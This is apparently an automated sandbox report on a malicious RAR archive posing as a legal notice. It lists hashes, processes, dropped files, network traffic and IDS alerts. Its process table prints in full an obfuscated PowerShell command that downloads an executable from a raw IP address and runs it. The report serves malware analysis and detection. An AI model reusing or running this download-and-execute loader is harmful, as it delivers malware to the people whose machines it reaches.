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| File name: | notice_0742.rar |
| Full analysis: | https://app.any.run/tasks/6a7eec1d-e770-4f89-9b47-4eb1a925fe23 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 18, 2019, 19:07:27 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | CAB66E0A8D80F1157406E7129ECCA5D5 |
| SHA1: | 60A5D6292439BEB5B2B6353FD9679D99F0203279 |
| SHA256: | 64F85BF6E24385B16C9945354A879A574A368CC1FEF574621695862BD56B29F5 |
| SSDEEP: | 192:dLwLFRcp6Bt21kba/upsr4R5QDaZPHEfZYW7s7dd8:dcL7c4Bt26eSsrIQmZsfygs7dd8 |
MALICIOUS
Application was dropped or rewritten from another process
- 5659.exe (PID: 1000)
- 5659.exe (PID: 1664)
Executes PowerShell scripts
- cmd.exe (PID: 3544)
Downloads executable files from the Internet
- powershell.exe (PID: 3064)
Downloads executable files from IP
- powershell.exe (PID: 3064)
Loads dropped or rewritten executable
- 5659.exe (PID: 1000)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 3064)
- 5659.exe (PID: 1000)
Starts CMD.EXE for commands execution
- WScript.exe (PID: 3048)
Reads Internet Cache Settings
- powershell.exe (PID: 3064)
Creates files in the user directory
- powershell.exe (PID: 3064)
Application launched itself
- 5659.exe (PID: 1000)
INFO
Manual execution by user
- WScript.exe (PID: 3048)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
39
Monitored processes
6
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2888 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\notice_0742.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
| 3048 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\legal_doc_0742.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
| 3544 | "C:\Windows\System32\cmd.exe" /c powershell.exe $esPctm = 'guCm7czI';$x = new-object -comobject 'msxml2.xmlhttp';$vQH7TdhI = 'WiSjlExbi';$a = new-object -comobject 'adodb.stream';$bb4w56w = 'EfnbGJtb';$x.open('get', 'http://185.234.216.76/read.exe', 0);$T7XP2n = 'IgkPwM';$x.send();$yOYNwP = 'jyOrg';$a.open();$jEY9CVF = 'HiSAwI';$a.type = 1;$SpzYj3L = 'liyFvS';$a.write($x.responsebody);$yb2Chb = 'XgaEEy';$a.savetofile('..\5659.exe');$Blq07d = 'wbMqSPfm';$a.close();$sWTK0ecB = 'dSbI81';start-process '..\5659.exe'; | C:\Windows\System32\cmd.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3064 | powershell.exe $esPctm = 'guCm7czI';$x = new-object -comobject 'msxml2.xmlhttp';$vQH7TdhI = 'WiSjlExbi';$a = new-object -comobject 'adodb.stream';$bb4w56w = 'EfnbGJtb';$x.open('get', 'http://185.234.216.76/read.exe', 0);$T7XP2n = 'IgkPwM';$x.send();$yOYNwP = 'jyOrg';$a.open();$jEY9CVF = 'HiSAwI';$a.type = 1;$SpzYj3L = 'liyFvS';$a.write($x.responsebody);$yb2Chb = 'XgaEEy';$a.savetofile('..\5659.exe');$Blq07d = 'wbMqSPfm';$a.close();$sWTK0ecB = 'dSbI81';start-process '..\5659.exe'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1000 | "C:\Users\admin\5659.exe" | C:\Users\admin\5659.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 1664 | "C:\Users\admin\5659.exe" | C:\Users\admin\5659.exe | 5659.exe | |
User: admin Integrity Level: MEDIUM | ||||
Total events
1 067
Read events
967
Write events
100
Delete events
0
Modification events
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\notice_0742.rar | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\wshext.dll,-4804 |
Value: JScript Script File | |||
| (PID) Process: | (2888) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
Executable files
3
Suspicious files
3
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3064 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7F0PWPGWUSLAJQU3NC7N.temp | — | |
MD5:— | SHA256:— | |||
| 2888 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb2888.37117\legal_doc_0742.js | text | |
MD5:8A82D20AD65C89CAC3AF9AC0A8D09CA0 | SHA256:B1DC2EC6903AE40D4213ED93C5AC3255B5064550A85E070C0B9C547221739409 | |||
| 3064 | powershell.exe | C:\Users\admin\5659.exe | executable | |
MD5:67BB25FDE7FB72AB522D2CF1A11806E2 | SHA256:01A53738CF2BB8E310DE40AB9DFAFE4CB55DF8B04BD6E7E643AEB777B0F196F8 | |||
| 3064 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
| 3064 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF128b40.TMP | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
| 1000 | 5659.exe | C:\Users\admin\AppData\Local\Temp\214829588 | binary | |
MD5:E66C4B2FDF66BE595EC6F163E29BD458 | SHA256:F4BBDB66C442D09FF964F8626A9257500861095F018EBDE882496F61F238133E | |||
| 3064 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\read[1].exe | executable | |
MD5:67BB25FDE7FB72AB522D2CF1A11806E2 | SHA256:01A53738CF2BB8E310DE40AB9DFAFE4CB55DF8B04BD6E7E643AEB777B0F196F8 | |||
| 1000 | 5659.exe | C:\Users\admin\AppData\Local\Temp\nswAA33.tmp\System.dll | executable | |
MD5:FBE295E5A1ACFBD0A6271898F885FE6A | SHA256:A1390A78533C47E55CC364E97AF431117126D04A7FAED49390210EA3E89DD0E1 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
32
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1664 | 5659.exe | GET | — | 96.253.78.108:80 | http://96.253.78.108/tor/server/fp/abf940561a8e528559747d2237847e1bd823cdb8 | US | — | — | whitelisted |
1664 | 5659.exe | GET | — | 192.99.34.48:80 | http://192.99.34.48/tor/server/fp/f7b024db02c601185c202e26dffd2ad525c16a36 | CA | — | — | suspicious |
1664 | 5659.exe | GET | — | 193.23.244.244:80 | http://193.23.244.244/tor/status-vote/current/consensus | DE | — | — | malicious |
1664 | 5659.exe | GET | — | 51.38.134.189:80 | http://51.38.134.189/tor/server/fp/91824956dfa430c071bf6b94b623df10931d1d40 | GB | — | — | malicious |
1664 | 5659.exe | GET | — | 128.31.0.34:9131 | http://128.31.0.34:9131/tor/status-vote/current/consensus | US | — | — | suspicious |
3064 | powershell.exe | GET | 200 | 185.234.216.76:80 | http://185.234.216.76/read.exe | unknown | executable | 584 Kb | malicious |
1664 | 5659.exe | GET | — | 192.42.116.19:80 | http://192.42.116.19/tor/server/fp/ebe718e1a49ee229071702964f8db1f318075ff8 | NL | — | — | suspicious |
1664 | 5659.exe | GET | — | 172.104.88.43:80 | http://172.104.88.43/tor/server/fp/ca3c77711f628954d1db7e7bf25a35d20481cc79 | JP | — | — | suspicious |
1664 | 5659.exe | GET | — | 54.39.151.167:80 | http://54.39.151.167/tor/server/fp/8acca79f8b3825b9bed65532aa64e091537b08c1 | FR | — | — | suspicious |
1664 | 5659.exe | GET | — | 217.170.197.89:80 | http://217.170.197.89/tor/server/fp/5221754fc70d688535adcde1b1e934965eba1f54 | NO | — | — | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3064 | powershell.exe | 185.234.216.76:80 | — | — | — | malicious |
— | — | 193.23.244.244:80 | — | Chaos Computer Club e.V. | DE | malicious |
1664 | 5659.exe | 128.31.0.34:9131 | — | Massachusetts Institute of Technology | US | suspicious |
1664 | 5659.exe | 172.86.148.10:80 | — | Psychz Networks | US | suspicious |
1664 | 5659.exe | 180.149.125.142:443 | — | GEMNET LLC | MN | suspicious |
1664 | 5659.exe | 129.6.15.28:13 | time-a.nist.gov | National Bureau of Standards | US | unknown |
1664 | 5659.exe | 54.204.36.156:443 | api.ipify.org | Amazon.com, Inc. | US | malicious |
1664 | 5659.exe | 45.62.249.154:80 | — | 2267921 ONTARIO LTD | CA | suspicious |
1664 | 5659.exe | 51.38.134.189:80 | — | — | GB | malicious |
1664 | 5659.exe | 192.42.116.19:80 | — | SURFnet bv | NL | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
api.ipify.org |
| shared |
time-a.nist.gov |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3064 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3064 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 |
3064 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3064 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 |
3064 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
1664 | 5659.exe | Misc Attack | ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 278 |
1664 | 5659.exe | Misc Attack | ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 120 |
1664 | 5659.exe | Misc activity | SUSPICIOUS [PTsecurity] ipify.org External IP Check |
1664 | 5659.exe | Misc activity | SUSPICIOUS [PTsecurity] ipify.org External IP Check |
1664 | 5659.exe | Misc Attack | ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 189 |
1 ETPRO signatures available at the full report